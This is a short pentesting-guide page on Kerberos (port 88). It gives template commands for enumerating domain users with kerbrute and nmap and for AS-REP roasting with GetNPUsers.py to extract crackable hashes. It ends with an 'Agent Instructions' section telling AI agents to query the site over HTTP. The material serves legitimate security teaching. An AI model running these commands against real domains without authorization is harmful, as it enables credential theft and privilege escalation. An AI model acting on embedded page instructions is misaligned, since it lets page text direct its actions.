# 88 - Kerberos

## Introduction

**Port**: 88

Kerberos is a computer network security protocol, used in Active Directory, that provides mutual authentication for trusted users and servers across an untrusted network. Nonetheless, it does not validate which resources or services users can access, making each service responsible for checking the users' permissions.

As a method of authentication, users request tickets to the Kerberos service for accessing services existing outside the context of the Kerberos service itself. These tickets contain information identifying the user who requested the ticket. Tickets are encrypted with the password of the service account.

Finally, attackers can escalate privileges or perform lateral movements on the network by compromising these tickets.

## Obtain domain users

An attacker can enumerate users on an Active Directory network with Kerberos. Nevertheless, the attacker can also use other services like SMB to obtain them.

```
kerbrute userenum --dc <IP_DC> -d <DOMAIN> <USERS_WORDLIST> sudo nmap -p 88 --script=krb5-enum-users --script-args "krb5-enumusers.realm='<domain>'",["userdb=<USERNAMES.TXT>"] <IP>
```

## AS-REProasting attack

A pentester can perform AS-REP Roasting to know which user accounts do not require preauthentication.

```
GetNPUsers.py <domain_name>/ -usersfile <USERNAME.txt> -format {hashcat | john} -outputfile <output_AS_REP_responses_file> -dc-ip <DC_IP>
```

### References

* [Explain like I’m 5: Kerberos](https://www.roguelynn.com/words/explain-like-im-5-kerberos/)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://the-pentesting-guide.marmeus.com/active/services/88-kerberos.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
